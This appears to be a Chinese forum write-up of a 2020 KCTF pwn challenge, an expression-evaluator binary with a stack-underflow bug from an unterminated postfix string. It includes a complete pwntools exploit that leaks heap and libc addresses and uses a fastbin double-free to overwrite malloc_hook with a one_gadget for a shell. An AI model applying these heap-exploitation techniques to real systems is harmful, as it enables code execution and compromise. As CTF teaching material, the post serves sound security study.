首页
社区
课程
招聘
[原创]2020KCTF秋季赛PWN题目
2020-10-13 22:47 2598

[原创]2020KCTF秋季赛PWN题目

2020-10-13 22:47
2598

0x0 基本信息

  • 参赛团队:T.O.
  • 题目类型:64位linux pwn
  • 简要说明:正常难度的常规pwn,知识点为表达式求值和堆利用

0x1 背景知识

  • 表达式:由数字、运算符、标识符等组成的可求值的语法单元。像下面这些都是表达式。
    1
    2
    3
    1+2+3
    a+b*c
    1+(2*(4+7)))
  • 中缀表达式与后缀表达式:二者是表达式的不同表现形式。中缀是给人看的,后缀更方便计算机处理,下面是上面的后缀形式。
1
2
3
1 2 + 3 +
a b c * +
1 2 4 7 + * +
  • 后缀表达式的求值:从左到右扫描一遍,遇到数字压栈,遇到运算符取栈顶两个数字运算后压栈,扫描完成后桟底的数字是表达式的结果。

    0x2 设计说明

  • 经典菜单题,提供了4个基本功能:
    Create:输入中缀表达式验证通过后求值,同时与转换的后缀表达式一同存储
    Delete:删除表达式
    Reevaluate:重新对符号的后缀表达式求值
    Show:打印出该表达式的值,默认禁用
1
2
3
4
5
6
7
8
********************************
2020 KCTF | Expression Evaluator
********************************
1.Create Symbol
2.Delete Symbol
3.Reevaluate Symbol
4.Show
5.Exit
  • 漏洞点位于create中。存储后缀表达式时并未在末尾补上"\x00",而后缀表达式求值时是用strlen来确定长度,也没检测桟底溢出。
  • 关键数据的内存结构:
    1、g_broken:表示屏幕是否损坏,损坏则不能使用show功能,初始化为1(损坏)。
    2、g_symbols_ptrs:存储符号的指针数组
    3、g_val_stack:后缀表达式求值时使用的栈结构
    4、unused:本来是打算用作堆指针数组的校验和,校验和不通过不能使用show功能,降低难度已弃用
    1
    2
    3
    4
    5
    6
    typedef struct {
      uint64_t g_broken;
      uint64_t unused;
      void* g_symbol_ptrs[21];
      uint64_t g_val_stack[50];
    } G_CTX;
  • 选手需要利用后缀表达式未正确截断的漏洞,构造相应的中缀表达式,通过g_val_stack产生桟底溢出,修改到低地址的g_broken和g_symbol_ptrs,进而getshell。

0x3 解题思路

漏洞容易发现,利用过程比较繁琐,下面说几个关键点:

 

Q1 : 如何构造表达式修改g_broken变量?
A : 在一个平衡的后缀表达式后,每多加一个运算符,可以从桟底多取出一个数据。g_broken + unused + g_symbol_ptrs[21],共23个。若用小堆块来存储,预先布置的运算符会被堆头数据覆盖。考虑unsorted bin的分割。若残留的大小大于等于0x18,这这个残留的堆块上的数据会被覆盖,小于0x18的话就不会。所以最多可以布置7+16=23个运算符。同时分配0x100大小的chunk,利用高地址处的chunk的prev_size的\x00来做截断。
所以结论是:malloc一个0x100的chunk,平衡表达式的值构造为0,并且再其之后布置23个乘号。reevaluate一下,即可把所有数据清零。

 

Q2 : 如何leak堆地址?
A : 这个问题比较简单。在平衡表达式的后边多布置一个运算符,即可让堆指针数据参与运算,再把它show出来即可。

 

Q3 : 如何leak libc?
A : 利用unsorted bin的fd上有libc地址,再布置运算符,对最后一个堆块做运算,使其的value域恰好对应着该unsorted bin的fd。再show出来即可。同时注意到是以symbol_name来作为搜索的key的,所以要提前在这个unsorted bin的低地址chunk上布置上相关数据,让这些数据来作为搜索的key。

 

Q4 : 如何getshell?
A : 使用fastbin attack,构造0x70的chunk A,B,C。修改C为A。然后free(A),free(B),free(A)。需要注意的是如果直接free(A)并且堆上不存在0x70的fastbin的话。chunk A的fd会被清零,也就不能被索引到,也就不能再free(A)了。解决办法是先free掉一个0x70的chunk D,那么再free(A)后,A的fd(symbol_name域)变成了chunk D的地址,所以p64(&chunk_D)可以再次的free(A)了。会发现如果(&chunk_d)&0xff==0x00的话还是会失败,这种情况下重新选取一个chunk即可。

 

再往后是常规思路fastbin attack到malloc_hook上拿shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *
import pdb
 
# p = remote('0.0.0.0',9997)
p = process('./ee')
 
def create(name,infix):
    p.sendafter('Your choice : ','1')
    p.sendafter('name : ',name)
    p.sendafter('Expression : ',infix)
 
def free(name):
    p.sendafter('Your choice : ','2')
    p.sendafter('name : ',name)
 
def reevaluate(name):
    p.sendafter('Your choice : ','3')
    p.sendafter('name : ',name)
 
def show(name):
    p.sendafter('Your choice : ','4')
    p.sendafter('name : ',name)
    p.recvuntil('value : ')
    data = int(p.recvuntil('\n')[:-1])
    return data
 
# construct a balanced infix expression,which postifx form
# has  length exactly equals to N(including the symbol_name
# and value field) and ends with operator op.
def infix_op(N,op):
    N -= 19 + 8
    assert(N>=5)
    if(N>=5 and N<=51):
        kN = 3
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*x for x in n_list])
    else:
        assert(N<=231)
        kN = 13
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*n for n in n_list])
 
 
# construct a balanced infix expression,which postifx form
# has exactly length N(including the symbol_name
# and value field) and valued target.
def infix_small_number(N,target):
    N -= 19+8
    assert target <= 0x7fffffffffff
    res = str(target)
    assert len(res) <= N
 
    if N<=16:
        res = '0'*(N-len(res)) + res
    else:
        assert N-len(res) >= 5 + 3
        res = infix_op(N-len(res)-3+27,'+') + '+' + res
 
    return res
 
create('a',infix_op(0xf0,'*'))
# avoid merge
create('b','1')
free('a')
# set '*' operators
for i in range(0xf0,0xd9,-1):
    create('a',infix_op(i,'*'))
    free('a')
 
# set value 0
create('a',infix_small_number(0xd9,0))
# clear all data,fixing the screen
reevaluate('a')
 
# steps to calculate the heap addrs.
# In the meanwhile,adjust the last chunk to leak libc.
create('1',infix_op(0xf0,'-'))
free('1')
create('1',infix_small_number(0xef,0xa0+19))
 
for i in range(2,22):
    if i==19:
        # set the fake chunk's symbol_name field so it can be indexed
        create('19',infix_op(0xf0,'+'))
        free('19')
        create('19',infix_op(0xef,'+'))
        free('19')
        create('19',infix_op(0xee,'+'))
    else:
        create(str(i),infix_small_number(0x90,0))
 
# get heap addr
reevaluate('1')
heap_base = show('1') - 0xe20 + 0xa0 + 19 - 0x60
print('[*]heap_base : '+hex(heap_base))
 
# get libc addr
free('20')
libc_base = show('+++') + 0x7F7AA27D8000 - 0x7f7aa2b9cb78
print('[*]libc_base : '+hex(libc_base))
 
# reset the '20' and '21' chunk
create('20',infix_small_number(0x90,0))
 
free('1')
create('1',infix_op(0xf0,'+'))
free('1')
create('1',infix_small_number(0xef,0xa0+19))
reevaluate('1')
 
# get four free ptr space
free('21')
free('20')
free('19')
free('18')
 
# here comes the fastbin attack
create('18',infix_small_number(0x60,0xaa))
create('19',infix_small_number(0x60,0xbb))
create('20',infix_small_number(0x60,0xcc))
create('21',infix_small_number(0x60,0xdd))
 
# let '21' and '20' point to the same addr
free('1')
create('1',infix_op(0xf0,'-'))
free('1')
create('1',infix_small_number(0xef,0x70))
reevaluate('1')
 
p18 = heap_base + 0xc30
 
free('18')
free('20')
free('19')
# index by p64(p18)
free(p64(p18))
 
# // 283258
# // 983908
# // 987655
one = libc_base + 0x4526a
malloc_hook = libc_base + 0x3C4B10
 
create(p64(malloc_hook-35),infix_small_number(0x60,0))
create('19',infix_small_number(0x60,0))
create('20',infix_small_number(0x60,0))
create('21',infix_small_number(0x60,one))
 
# trigger one gadget
free('19')
create('19',infix_small_number(0x100,0))
 
p.interactive()

0x4 部署

采用https://github.com/Eadom/ctf_xinetd的方案

1
2
3
4
5
6
# 设置好deploy/bin/flag
cd deploy
# build image
docker build -t "ee" .
# run in background
docker run -d -p "0.0.0.0:pub_port:9999" -h "ee" --name="ee" ee

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2020-12-1 13:56 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回